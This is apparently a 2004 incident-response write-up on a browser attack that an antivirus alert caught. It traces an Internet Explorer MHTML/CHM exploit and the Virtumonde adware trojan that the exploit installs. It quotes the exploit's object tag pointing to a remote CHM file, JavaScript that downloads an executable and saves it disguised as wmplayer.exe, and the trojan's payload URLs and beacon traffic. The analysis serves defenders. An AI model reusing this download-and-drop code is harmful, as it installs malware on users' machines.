Last Updated: Friday July 16, 2004
Michael Ligh ([email protected])
This document is part of the Browser Attacks Anthology
We reccieved the following alert from Computer Associate's Incolulan Anti-virus:
[event time 16:34:43 06/09/04: event number 26: machine ws-1-2-28.xx.com: response time 16:36:13 06/09/04] The HTML/Redir.Exploit.Trojan virus was detected in C:\WINNT\PROFILES\xxuserxx\TEMPORARY INTERNET FILES\CONTENT.IE5\MHET410Z\NETWIN[1].HTM. Machi
There's some bad news and some real good news.I searched the Squid proxy logs for traffic from the infected PC - anything containing the string NETWIN. I took this string from the Inoculan alert and consulted the proxy logs because of the location on disk where the infected file was detected (Internet cache). This is what I found:
http://203.199.200.61/vm/netwin.php? - DIRECT/203.199.200.61 text/html
The request was made at 16:34:41, two seconds before the Inoculate alert. The code within the downloaded page is mostly javascript, fairly concise, and downright nasty. All while still being pretty obvious in its intentions.
It tries to exploit a vulnerability in the processing of MHTML documents, which is know as "MIME encapsulation of aggregate documents." Essentially it is a standard to force a browser into rendering MIME content from another site, by making references to it in the HTML page currently displayed.
The problem occurs due to the component failing to securely handle MHTML file URIs which contain references to two files, the first of which points to a non-existant resource. Check this out (part of netwin.php):
[object data="ms-its:mhtml:file://C:\foo.mht!http://203.199.200.62/noname/xp/NETWIN.CHM::/netwin.htm"
First of all, C:\foo.mht is definitely nonexistent, at least on 99.9% of PCs. What the heck is that part all about anyway? Well, if the active MHTML protocol handler is unable to access the specified MHTML file, (for example, if the file does not exist) the handler will attempt to access the content specified by the alternate location. Here's where it gets scary - when the combination of "its" (InfoTech Storage) and mhtml protocols are used to acquire a CHM file (compressed Windows Help file), IE browsers incorrectly treat the CHM file as it was from the same domain as the missing mhtml file! Now the contents are read from within the local security zone. Anything executed operates with the privileges of the user.
Now, what exactly happens when a browser interprets this particular CHM code? It downloads another executable, but of course. Two components make this perfect for the attacker: 1) CHM files support HTML, Java, ActiveX, and VB and 2) Windows uses IE to render CHM content. I took a copy of NETWIN.CHM and decompressed it into a few files, the most interesting being netwin.html. Take a look:
payloadURL = getPath(location.href)+'netwin.exe';
location.href is an object that refers to the current URL. In other words this means to grab netwin.exe from the same location as NETWIN.CHM.
var x = new ActiveXObject("Microsoft.XMLHTTP");
x.Open("GET",payloadURL,0);
var s = new ActiveXObject("ADODB.Stream");
s.SaveToFile("C:\\Program Files\\Windows Media Player\\wmplayer.exe",2);
Anyone care for some tunes? I'm sorry, anyone mind if I play those tunes with a Trojan? Just kidding. Anyway, as we've seen from several SecureWorks alerts, ADODB.stream is an object for sending binary files to browsers.It was too tempting not to download my own copy, after all - come this far, might as well. Here's some output of the Unix strings command on netwin.exe (later named as wmplayer.exe):
Software\Microsoft\Windows\CurrentVersion\Run
A Trojan wouldn't be a Trojan if it didn't add itself to the registry to start with Windows.
http://updates.virtumonde.com/SetID%s/AffiliateID%s/sysupd.exe http://updates.virtumonde.com/ver%i/sysupd.exe http://203.199.200.61/ http://syspage.com/
For that matter, a Trojan wouldn't be a Trojan if it didn't lead you on a wild goose chase. I wonder what sysupd.exe does? Unfortunately the %s and %i are replaced by wmplayer.exe with values only the program would know, so I can't easily type in a URL and grab this file. Better yet, I'll click it from a VMware machine and run a packet capture on the gateway.
GET /ver25/sysupd.exe HTTP/1.1 Host: updates.virtumonde.com
Good enough. Executing wmplayer.exe downloaded sysupd.exe from updates.virtumode.com (209.123.150.15) and placed it in C:\WINNT. It added a registry key in the startup location noted above, as we would expect. Sysupd.exe didn't contain any interesting strings, which is uncharacteristic of a 160KB executable. Now I'm really curious what it does. Thankfully, there is still the rest of the packet capture to check out. Something critical we would have missed without this log is what the system did immediately after the download finished. It made another http connection, but this time to virtumode.com (209.123.150.14).
POST / HTTP/1.1 g_Version: 25 g_SetID: nOa([Fn(Q(IOff(GhG9 g_URL: 8 g_Client: (lots of jibberish) g_ClientGUID: 09!K Xh,qy^KyK9^khNq Host: virtumonde.com
Then we get the server's reply:
Content-Length: 29884 Location: Server: V-Soft/NOYAU/VADV 1.3 builded Jun 4 2004 e_Test: avail e_g_AdCategory: Some e_g_Date: Wed Jun 9 22:04:41 2004 e_g_PopupPerDay: 2 e_g_SedIDWas: Unreleased e_g_StatisticsUploadDelay: 1 e_g_UID: $1$$6EUippV2LD g_StealFocus:
Next followed the remainder of the nearly 30KB bytes. As Andy would probably say, "Therein lies danger!"
It starts off filling a bucket of URLs to adult sites. By "buckets" I mean a few thousand. Then it adds a few thousand keywords to a database, probably to search for new sites behind your back.
Darn, already, didn't I promise some good news? It turns out the PC's version of IE was patched and never made any connections to 203.199.200.62. It never downloaded the CHM file and thus never executed. This event halted with the downloading of a plain text html file, which was deleted by Inoculate. Following some paranoia-driven spyware scans, I would be comfortable bringing the PC back online.